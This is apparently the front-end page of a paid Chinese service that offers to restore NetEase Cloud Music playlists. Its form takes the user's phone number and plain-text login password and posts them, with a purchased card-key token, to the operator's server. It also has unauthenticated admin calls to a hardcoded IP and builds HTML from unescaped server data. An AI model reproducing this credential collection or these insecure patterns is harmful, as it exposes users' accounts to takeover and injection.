<html lang="zh-CN">
<head>
  <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">
  <script src="../static/js/jquery-3.6.0.min.js"></script>
  <link rel="stylesheet" href="../static/css/bootstrap.min.css">
  <script src="../static/js/bootstrap.min.js"></script>
  <style type="text/css">
    body{font-family: "Helvetica Neue",Helvetica,Arial,sans-serif;}
    .jixi{ font-weight:100; margin:0}
    .glyphicon{margin-right:4px !important;/*override*/}
    .panel ul{padding:0px;margin:0px;list-style:none;}
    .news-item{padding:4px 4px;margin:0px;border-bottom:1px dotted #555;}
    .label-msg{display: block; background:#eee; padding:50px}
    .big{ font-size:21px;}
    h1 {
      font-size: 63px;
    }
    @media (max-width :740px){
      .big{ line-height:41px}
      h1 {
        font-size: 36px;
      }.pager a{margin-bottom: 5px;}.label-msg{ padding-left:15px; padding-right:15px;}}
    .pager strong{ font-weight:normal}
  </style>
  <!-- MiniColors -->
  <script src="../color/jquery.minicolors.js"></script>
  <link rel="stylesheet" href="../color/jquery.minicolors.css">
  <meta charset="utf-8">

</head>
<body>
<div class="container-fluid">
  <div class="row" style="margin-top:5%;">
    <div class="col-md-offset-4 col-lg-offset-4 col-xl-offset-4 col-md-4">
      <div class="panel panel-default">
        <div class="panel-heading">帮助中心/FAQ</div>
        <div class="panel-body">
          <nav aria-label="...">
            <ul class="pager">
              <div style="display:inline-block" id="div">
                <!-- <li><a href="javascript:;"><strong onclick='alert("打开网易云APP-底下中间【我的】-进入我的，昵称下方就是云盘位置，PC客户端在左侧，有我的音乐云盘")'>忘记手机号或密码,请点我</strong> <i data-toggle="modal" data-target="#myModal" class="glyphicon glyphicon-pencil" aria-hidden="true"></i> <i class="glyphicon glyphicon-remove" aria-hidden="true"></i></a> </li>
                 -->
              </div>
              <li><a href="javascript:;" data-target="#myModal"  data-toggle="modal" onClick="add_list()"  style="color:#FF0000">添加</a></li>
            </ul>
          </nav>
        </div>
      </div>
      <div class="panel panel-info">
        <div class="panel-heading">
          <h3 class="panel-title">恢复云端数据 <a href="#"  data-toggle="modal" data-target="#myModal2" style="float:right; margin-left:5px;"><span class="label label-default">编辑</span> </a> <a id="link" href="#" style="float:right" target="_blank"><span class="label label-success">点我购买卡密</span> </a> </h3>
        </div>
        <div class="panel-body">
          <!--
            <div class="alert alert-danger alert-dismissible" role="alert" hidden="" id="tips" style="display: block;">
              <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">×</span></button>
              <span class="glyphicon glyphicon-remove"></span> 您的密码错误,请修改密码后重新提交！为了您的账号安全，将在2次错误之后，锁定卡号！</div>
            <div class="alert alert-info alert-dismissible" role="alert" hidden="" id="tips" style="display: block;">
              <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">×</span></button>
              <span class="glyphicon glyphicon-refresh"></span> 您当前订单状态：等待处理,请耐心等待或60秒后刷新网页</div>
            <div class="alert label-info alert-dismissible" role="alert" hidden="" id="tips" style="display: block;">
              <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">×</span></button>
              <span class="glyphicon glyphicon-send"></span> 您当前上传歌曲状态：等待系统检测手机号和密码是否正确，请耐心等待网页变化或者60秒后刷新网页，正确与否都会有提示。</div>
            <div class="alert alert-danger alert-dismissible" role="alert" hidden="" id="tips" style="display: block;">
              <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">×</span></button>
              <span class="glyphicon glyphicon-remove"></span> 您的密码错误,请修改密码后重新提交！为了您的账号安全，将在1次错误之后，锁定卡号！</div>
            <div class="alert alert-danger" role="alert" hidden="" id="tips"></div>
            <div class="alert alert-success alert-dismissible" role="alert" hidden="" id="tips" style="display: block;">
              <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">×</span></button>
              <span class="glyphicon glyphicon-ok"></span> 你当前歌曲上传状态：系统正在上传歌曲中，请耐心等待4-6分钟后刷新网页</div>
            <div class="alert alert-danger" role="alert" hidden="" id="tips"></div>
            <div class="alert  alert-dismissible" role="alert" hidden="" id="tips" style="display: block; background:#eee; padding:50px">
              <h1 class="jixi">133*****498</h1>
              <big class="big"><br>
              恭喜歌单恢复完成，<br>
              您请<br>
              在 <a href="" class="btn btn-success btn-xs">网易云APP内我的云盘</a> <br>
              查看已恢复的歌单！</big></div>
              -->
          <div class="alert alert-danger" role="alert" hidden="" id="tips"></div>
          <form>
            <div class="input-group"> <span class="input-group-addon" id="basic-addon1">手机号码</span>
              <input type="text" class="form-control" placeholder="请输入登录手机号" aria-describedby="basic-addon1" id="phone" autocomplete="new-password">
            </div>
            <br>
            <div class="input-group"> <span class="input-group-addon" id="basic-addon1">登录密码</span>
              <input type="text" class="form-control" placeholder="请输入登录密码" aria-describedby="basic-addon1" id="pwd" autocomplete="new-password">
            </div>
            <br>
            <button type="button" id="sub" data-loading-text="正在提交中..." class="btn btn-primary col-md-offset-4 col-md-4"> 确定提交 </button>
          </form>
        </div>
        <div class="panel-footer">
          <ul class="info">
          </ul>
        </div>
      </div>
      <script>
        var test =window.location.href;
        var token=test.split("?token=")[1];
        if(token==undefined || token=="" || token.length<32){
          ShowMsg("链接有误,缺少卡密,请联系店主协助解决。<a href\" target=\"_blank\">点我联系</a>",0,1)
        }


        //校验手机号
        $('#sub').on('click', function () {
          //校验手机号

          if(!(/^1[3456789]\d{9}$/.test($("#phone").val()))){
            //alert("手机号码有误，请重填");
            ShowMsg("手机号错误,仅支持国内手机号")
            return false;
          }
          if($("#pwd").val().length<6){
            ShowMsg("请输入正确的密码")
            return false;
          }


          task()

          // 这里请求restult结果是否为提交成功并返回result

          //var result = "提交成功";



          if(result!="提交成功"){
            ShowMsg(result,0)
          }else{

            ShowMsg("提交云端成功,您请等待处理,预计10分钟左右结束...",1)
          }


        })

        function ShowMsg(res,m,isClose){

          m = m==undefined ? 0 : m;

          _close = "<button type=\"button\" class=\"close\"><span aria-hidden=\"true\">&times;</span></button>"
          if(m==0){
            $("#tips").attr("class","alert alert-danger alert-dismissible")
            $("#tips").html(_close+"<span class=\"glyphicon glyphicon-remove\"></span>   "+res)
          }else{
            $("#tips").attr("class","alert alert-success alert-dismissible")
            $("#tips").html(_close+"<span class=\"glyphicon glyphicon-ok\"></span>   "+res)
          }

          if(m==3){
            $("#tips").attr("class","alert alert-info alert-dismissible")
            $("#tips").html(_close+"<span class=\"glyphicon glyphicon-refresh\"></span>   "+res)
          }
          if(m==4){
            $("#tips").attr("class","alert label-warning alert-dismissible")
            $("#tips").html(_close+"<span class=\"glyphicon glyphicon-ban-circle\"></span>   "+res)
          }
          if(m==5){
            $("#tips").attr("class","alert label-info alert-dismissible")
            $("#tips").html(_close+"<span class=\"glyphicon glyphicon-send\"></span>   "+res)
          }
          if(m==6){
            $("#tips").attr("class","alert label-msg alert-dismissible")
            $("#tips").html(res)
          }
          $("#tips").show()
          if(isClose==undefined){
            window.setTimeout(function(){
              $("#tips").hide()
            },6000)
          }
        }

        function task(){
// result 需要返回值

          var test =window.location.href;
          var token=test.split("?token=")[1];
          if(token==undefined || token=="" || token.length<32){
            ShowMsg("链接有误,缺少卡密,请联系店主协助解决。<a href\" target=\"_blank\">点我联系</a>",0,1)
            return false;
          }

          var username = $("#phone").val()
          var password = $("#pwd").val()

          if(username == ''){
            alert("手机号不能为空！")
            return false;
          }
          if(token == ''){
            alert("token不能为空！")
            return false;
          }
          if(password == ''){
            alert("密码不能为空！")
            return false;
          }


          var datas={
            username:username,
            password:password,
            token:token
          };
          var datas2={
            token:token
          };
          ShowMsg('您当前上传歌曲状态：等待系统检测手机号和密码是否正确，正确与否都会有提示。',5,1)
          $.ajax({
            type: "POST",//方法
            url: "/user/login" ,//表单接收url
            data:datas,
            dataType:'json',
            success: function (data) {
              //提交成功

              if (data == 1) {


                //alert('上传完成');
                ShowMsg('账号密码正确，您当前歌曲上传状态：系统正在上传歌曲中，请您耐心等待4-6分钟',1,1)
                a()
                // myFunction()
                // function a(){
                // $.ajax({
                //   type: "POST",//方法
                //   url: "/user/success" ,//表单接收url
                //   data:datas2,
                //   dataType:'json',
                //   success: function (adata) {
                //     if (adata == 3) {
                //       var str=$('#phone').val();
                //       at=str.substr(0,3)+'***'+str.substr(7,str.split('').length);
                //       //alert('上传失败，请联系管理员');
                //       ShowMsg('<h1 class="jixi">'+at+'</h1><big class="big">恭喜歌单恢复完成，您请在 <a href="" class="label label-success">网易云APP内我的云盘</a> <br> 查看已恢复的歌单！</big>',6,0)
                //     }
                //   },
                //   error : function(adata) {
                //     //提交失败
                //     alert ('连接服务器失败，请稍后再试');
                //   }
                // });
                // }
              }
              else if (data == 2) {
                //alert('账号或密码错误请重新向管理员要链接');
                ShowMsg('您的密码错误,请修改密码后重新提交！为了您的账号安全，将在3次错误之后，锁定卡号！',0,1)
              }
              else if (data == 4) {
                //alert('链接已失效，请联系管理员');
                ShowMsg('链接已失效，请购买卡密',0,1)
              }
              else{
                alert ("请设置data返回值"+data[0].sign)
              }
            },
            error : function(data) {
              //提交失败
              alert ('连接服务器失败，请稍后再试！');
            }
          });

        }
        $(".panel-info").on("click",".close",function(){
          $("#tips").hide()
        });


        var datas2={
          token:token
        };

        function a(){
          $.ajax({
            type: "POST",//方法
            url: "/user/success" ,//表单接收url
            data:datas2,
            dataType:'json',
            success: function (adata) {
              if (adata == 3) {
                var str=$('#phone').val();
                at=str.substr(0,3)+'***'+str.substr(7,str.split('').length);
                //alert('上传失败，请联系管理员');
                ShowMsg('<h1 class="jixi">'+at+'</h1><big class="big">恭喜歌单恢复完成，您请在 <a href="" class="label label-success">网易云APP内我的云盘</a> <br> 查看已恢复的歌单！</big>',6,0)
              }
            },
            error : function(adata) {
              //提交失败
              alert ('连接服务器失败，请稍后再试');
            }
          });
          setTimeout(a,60000)
        }


        // function myFunction() {
        //   setInterval(a,60000);
        // }


        /*
             if(result!="1" && result!="订单完成" && result!="正在执行"){
                 ShowMsg("您当前订单状态："+result,0,1)
             }
             if(result.indexOf("密码错误")!=-1){

                 ShowMsg("您的密码错误,请修改密码后重新提交！为了您的账号安全，将在"+(3-parseInt(result))+"次错误之后，锁定卡号！",0,1)
             }
             if(result=="正在检测"){
                 ShowMsg("您当前上传歌曲状态：等待系统检测手机号和密码是否正确，请耐心等待网页变化或者60秒后刷新网页，正确与否都会有提示。",5,1)
             }
             if(result=="正在执行"){
                 ShowMsg("您当前歌曲上传状态：系统正在上传歌曲中，请您耐心等待4-6分钟后刷新网页",1,1)
             }
             if(result=="等待处理"){
                 ShowMsg("您当前订单状态："+result+",请耐心等待或60秒后刷新网页",3,1)
             }

         if(result=="订单完成"){

                 ShowMsg('<h1 class="jixi">133*****498</h1><big class="big">恭喜歌单恢复完成，您请在 <a href="" class="label label-success">网易云APP内我的云盘</a> <br> 查看已恢复的歌单！</big>',6,0)
         }
         */
      </script>
    </div>
  </div>
</div>
<div class="modal fade" id="myModal" tabindex="-1" role="dialog" aria-labelledby="myModalLabel">
  <div class="modal-dialog" role="document">
    <div class="modal-content">
      <div class="modal-header">
        <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button>
        <h4 class="modal-title" id="myModalLabel">按钮修改</h4>
      </div>
      <div class="modal-body">
        <form class="form-horizontal">
          <input type="hidden" name="id" class="form-control" id="id">
          <div class="form-group">
            <label for="inputPassword3" class="col-sm-2 control-label">按钮名称</label>
            <div class="col-sm-10">
              <input type="text" name="btn" class="form-control" id="btn" placeholder="按钮名称">
            </div>
          </div>
          <div class="form-group">
            <label for="inputEmail3" class="col-sm-2 control-label">弹出内容</label>
            <div class="col-sm-10">
              <input type="text" name="content" class="form-control" id="content" placeholder="弹出内容">
            </div>
          </div>
          <div class="form-group" id="color1">
            <label for="inputPassword3" class="col-sm-2 control-label">字体颜色</label>
            <div class="col-sm-10">
              <input type="text" id="fontColor" name="fontColor" class="form-control demo" data-control="hue" value="#ff6161">
            </div>
          </div>
          <div class="form-group" id="color2">
            <label for="inputPassword3" class="col-sm-2 control-label">边框颜色</label>
            <div class="col-sm-10">
              <input type="text" id="frameColor" name="frameColor" class="form-control demo" data-control="hue" value="#ff6161">
            </div>
          </div>
          <div class="form-group" id="color3">
            <label for="inputPassword3" class="col-sm-2 control-label">背景颜色</label>
            <div class="col-sm-10">
              <input type="text" id="backgroundColor" name="backgroundColor" class="form-control demo" data-control="hue" value="#ff6161">
            </div>
          </div>
        </form>
      </div>
      <div class="modal-footer">
        <button type="button" class="btn btn-default" data-dismiss="modal">关闭</button>
        <button type="button" class="btn btn-primary" data-dismiss="modal" onClick="save_list()">保存</button>
      </div>
    </div>
  </div>
</div>
<div class="modal fade" id="myModal2" tabindex="-1" role="dialog" aria-labelledby="myModalLabel2">
  <div class="modal-dialog" role="document">
    <div class="modal-content">
      <div class="modal-header">
        <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button>
        <h4 class="modal-title" id="myModalLabel">修改卡密</h4>
      </div>
      <div class="modal-body">
        <form class="form-horizontal">
          <div class="form-group">
            <label for="inputEmail3" class="col-sm-2 control-label">按钮名称</label>
            <div class="col-sm-10">
              <input type="text" class="form-control" id="cardName_kami" name="cardName_kami" placeholder="按钮名称">
            </div>
          </div>
          <div class="form-group">
            <label for="inputEmail3" class="col-sm-2 control-label">链接地址</label>
            <div class="col-sm-10">
              <input type="text" class="form-control" id="cardContent_kami" name="cardContent_kami" placeholder="卡密链接">
            </div>
          </div>
          <div class="form-group" id="color6">
            <label for="inputPassword3" class="col-sm-2 control-label">字体颜色</label>
            <div class="col-sm-10">
              <input type="text" id="fontcolor_kami" name="fontcolor_kami" class="form-control demo" data-control="hue" value="#ff6161">
            </div>
          </div>
          <div class="form-group" id="color7">
            <label for="inputPassword3" class="col-sm-2 control-label">背景颜色</label>
            <div class="col-sm-10">
              <input type="text" id="color_kami" name="color_kami" class="form-control demo" data-control="hue" value="#ff6161">
            </div>
          </div>
        </form>
      </div>
      <div class="modal-footer">
        <button type="button" class="btn btn-default" data-dismiss="modal">关闭</button>
        <button type="button" class="btn btn-primary" data-dismiss="modal" onClick="edit_kami()">保存</button>
      </div>
    </div>
  </div>
</div>


<div class="modal fade" id="myModal3" tabindex="-1" role="dialog" aria-labelledby="myModalLabel3">
  <div class="modal-dialog" role="document">
    <div class="modal-content">
      <div class="modal-header">
        <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button>
        <h4 class="modal-title" id="myModalLabel">确认删除？</h4>
      </div>
      <div class="modal-body">
        确定要删除吗？
        <input type="hidden" value="" id="del_id">
      </div>
      <div class="modal-footer">
        <button type="button" class="btn btn-default" data-dismiss="modal">关闭</button>
        <button type="button" class="btn btn-primary" data-dismiss="modal" onClick="del_list_save()">确定</button>
      </div>
    </div>
  </div>
</div>
<script>
  $(document).ready( function() {
    function res(){
      $('.demo').each( function() {
        //
        // Dear reader, it's actually very easy to initialize MiniColors. For example:
        //
        //  $(selector).minicolors();
        //
        // The way I've done it below is just for the demo, so don't get confused
        // by it. Also, data- attributes aren't supported at this time...they're
        // only used for this demo.
        //
        $(this).minicolors({
          control: $(this).attr('data-control') || 'hue',
          defaultValue: $(this).attr('data-defaultValue') || '',
          inline: $(this).attr('data-inline') === 'true',
          letterCase: $(this).attr('data-letterCase') || 'lowercase',
          opacity: $(this).attr('data-opacity'),
          position: $(this).attr('data-position') || 'bottom left',
          change: function(hex, opacity) {
            if( !hex ) return;
            if( opacity ) hex += ', ' + opacity;
            try {
              console.log(hex);
            } catch(e) {}
          },
          theme: 'bootstrap'
        });

      });
    }

    res()
  });



  //默认调用卡密按钮
  $.ajax({
    type: "POST",//方法
    url: "http://43.134.104.201:8889/card/select" ,//表单接收url
    data:'',
    dataType:'json',
    success: function (data) {

      $("#link span").css("background",data.color)
      $("#link span").css("color",data.fontColor)
      $("#link span").text(data.cardName)
      $("#link").attr("href",data.cardContent)
      $("#cardName_kami").val(data.cardName)
      $("#cardContent_kami").val(data.cardContent)
      $("#fontcolor_kami").val(data.fontColor)
      $("#color_kami").val(data.color)
    },
    error : function(data) {
      //提交失败
      alert('链接服务器失败，请稍后再试！');
    }
  });


  //卡密按钮修改
  function edit_kami(){
    var cardName_kami =$("#cardName_kami").val()
    var cardContent_kami =$("#cardContent_kami").val()
    var fontcolor_kami =$("#fontcolor_kami").val()
    var color_kami =$("#color_kami").val()
    var data={
      cardName:cardName_kami,
      cardContent:cardContent_kami,
      fontColor:fontcolor_kami,
      color:color_kami
    };
    $.ajax({
      type: "POST",//方法
      url: "http://43.134.104.201:8889/card/update" ,//表单接收url
      data:data,
      dataType:'json',
      success: function (data) {
        alert ('修改成功')
        location.reload();
      },
      error : function(data) {
        alert ('修改成功')
        location.reload();
        //提交失败
        //alert('保存卡密出错--链接服务器失败，请稍后再试！');
      }
    });
  }


  //默认弹窗列表
  $.ajax({
    type: "POST",//方法
    url: "http://43.134.104.201:8889/button/select" ,//表单接收url
    data:'',
    dataType:'json',
    success: function (data) {
      var arr = new Array(5)


      for (var i=0;i<data.length;i++)
      {
        arr[i] = '"'+data[i].content+'"';

        $("#div").append("<li data1='"+data[i].backgroundColor+"' data2='"+data[i].fontColor+"' data3='"+data[i].btn+"' data4='"+data[i].content+"' data5='"+data[i].id+"' data6='"+data[i].frameColor+"' ><a style='background:"+data[i].backgroundColor+";color:"+data[i].fontColor+"; border-color:"+data[i].frameColor+"' href=javascript:;><strong onclick='javascript:alert("+arr[i]+")'>"+data[i].btn+"</strong> <i data-toggle='modal' onClick='edit_list(this)' data-target='#myModal' class='glyphicon glyphicon-pencil' aria-hidden='true'></i> <i data-target='#myModal3' onClick='del_list("+data[i].id+")'  data-toggle='modal' class='glyphicon glyphicon-remove' aria-hidden='true'></i></a> </li>")

      }
      //$("li").each(function(){
      //  alert($(this).text())
      //});
    },
    error : function(data) {
      //提交失败
      alert('链接服务器失败，请稍后再试！');
    }
  });


  //点击按钮提取数据
  function edit_list(cc){

    $("#myModal #btn").val($(cc).parents("li").attr("data3"))
    $("#myModal #content").val($(cc).parents("li").attr("data4"))
    $("#myModal #fontColor").val($(cc).parents("li").attr("data2"))
    $("#myModal #backgroundColor").val($(cc).parents("li").attr("data1"))
    $("#myModal #frameColor").val($(cc).parents("li").attr("data6"))
    $("#myModal #id").val($(cc).parents("li").attr("data5"))


    $("#color1 .minicolors-swatch-color").css("background-color",$(cc).parents("li").attr("data2"))
    $("#color2 .minicolors-swatch-color").css("background-color",$(cc).parents("li").attr("data6"))
    $("#color3 .minicolors-swatch-color").css("background-color",$(cc).parents("li").attr("data1"))
  }


  //修改按钮

  function save_list(){


    var id =$("#id").val()
    var btn =$("#btn").val()
    var content =$("#content").val()
    var fontColor =$("#fontColor").val()
    var backgroundColor =$("#backgroundColor").val()
    var frameColor =$("#frameColor").val()

    var data={
      id:id,
      btn:btn,
      content:content,
      fontColor:fontColor,
      backgroundColor:backgroundColor,
      frameColor:frameColor
    };

    if(id==""){
      $.ajax({
        type: "POST",//方法
        url: "http://43.134.104.201:8889/button/insert" ,//表单接收url
        data:data,
        dataType:'json',
        success: function (data) {
          alert ('添加成功')
          location.reload();
        },
        error : function(data) {
          //提交失败
          //alert('保存卡密出错--链接服务器失败，请稍后再试！');
        }
      });
    }
    else{


      $.ajax({
        type: "POST",//方法
        url: "http://43.134.104.201:8889/button/update" ,//表单接收url
        data:data,
        dataType:'json',
        success: function (data) {
          alert ('修改成功')
          location.reload();
        },
        error : function(data) {
          //提交失败
          //alert('保存卡密出错--链接服务器失败，请稍后再试！');
        }
      });
    }

  }

  function add_list(){
    $("#myModal #btn").val("")
    $("#myModal #content").val("")
    $("#myModal #fontColor").val("")
    $("#myModal #backgroundColor").val("")
    $("#myModal #frameColor").val("")
    $("#myModal #id").val("")





  }

  //删除按钮

  function del_list(cc){
    $("#del_id").val(cc)
  }



  function del_list_save(){
    var delid = $("#del_id").val()
    var data={
      id:delid
    };
    $.ajax({
      type: "POST",//方法
      url: "http://43.134.104.201:8889/button/delete" ,//表单接收url
      data:data,
      dataType:'json',
      success: function (data) {
        alert ('删除成功')
        location.reload();
      },
      error : function(data) {
        //提交失败
        //alert('保存卡密出错--链接服务器失败，请稍后再试！');
      }
    });

  }

</script>
<script src="js/list.js"></script>
